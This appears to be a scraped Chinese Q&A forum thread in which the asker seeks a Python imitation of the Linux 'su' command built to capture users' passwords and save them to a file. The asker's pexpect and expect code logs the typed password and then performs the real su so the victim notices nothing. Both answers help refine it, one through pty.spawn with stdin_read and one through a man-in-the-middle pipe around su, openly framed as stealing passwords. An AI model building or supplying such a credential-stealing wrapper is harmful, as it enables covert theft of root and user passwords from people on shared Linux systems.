使用python 来模仿Linux中的“su”命令

使用python 来模仿Linux中的“su”命令

问题描述

如题,工具需要模仿的百分之百的像,为了获取用户的密码,并保存下来。
寻求大佬提供解决思路或相关指点,感谢。

问题出现的平台版本及自己尝试过哪些方法

  1. 已经尝试过pexpect库,并暂且使用其中的logfile属性来进行记录用户的输入。
    尝试交互的interact方法不适用,因为虽然可以完成如同su的交互,但是在logfile关闭后进行交互会报I/O operation on closed file的错,如果在logfile文件操作中进行interact则日志则会很混乱。
  2. 暂且通过调用shell中expect来完成交互
    设置过关闭Password:回显,但是最后会显示一行空行。

相关代码

#python su.py

import pexpect

...

def mock_su_need_pwd():

pwd=getpass.getpass("Password:")

p=pexpect.spawn("su")

p.expect("Password:")

p.logfile=open("tmp.txt","a")

p.sendline(pwd)

p.expect(["Password:","su: user opl does not exist","[\$%%#]","su: Authentication failure"])

p.logfile.close()

os.system("./test.sh "+pwd)

#test.sh

! /usr/bin/expect

log_user 0

spawn su

log_user 1

expect "Password:"

log_user 0

set pwd [lindex $argv 0]

log_user 1

send "$pwd\r"

interact

你期待的结果是什么?实际看到的错误信息又是什么?

实际运行结果:

#pwd is incorrect

[opl@xxx]$ python su.py

Password:

Password:

su:Authentication ..

# pwd is correct

[opl@xxx]$python su.py

Password:

Password:

[root@xxx]#

期望运行结果:
su

需要应用的平台:基本所有的Linux版本可执行。


回答:

最后采用了pty.spawn,配置stdin_read参数,具体可参考py3中的script那个例子,完成密码的读取.


回答:

要偷密码,模仿不如用真的,
可以试试用python的multiprocessing.Pipe,同时接管su的参数、输入和输出
除了开头几行记录密码的处理,后面都原样搬运
man in the middle

以上是 使用python 来模仿Linux中的“su”命令 的全部内容, 来源链接: utcz.com/p/937640.html

回到顶部